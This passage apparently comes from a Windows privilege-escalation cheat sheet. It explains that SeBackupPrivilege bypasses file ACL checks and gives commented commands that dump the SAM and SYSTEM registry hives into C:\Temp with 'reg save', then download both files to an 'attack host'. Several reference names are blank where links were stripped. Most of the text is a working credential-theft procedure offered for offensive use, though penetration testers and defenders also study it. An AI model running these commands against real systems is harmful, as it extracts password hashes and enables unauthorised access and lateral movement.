Allows file content retrieval, even if the security descriptor on the file might not grant such access. A caller with SeBackupPrivilege enabled obviates the need for any ACL-based security check.
Default setting: , , and .
Exploitation
For AD exploitation check , .
Windows 10
# move to the c:\ directory
cd c:\
# create a Temp directory
mkdir Temp
# copy the sam and system files to Temp
reg save hklm\sam c:\Temp\sam
reg save hklm\system c:\Temp\system
# move inside Temp
cd Temp
# download files on the attack host
download sam
download system
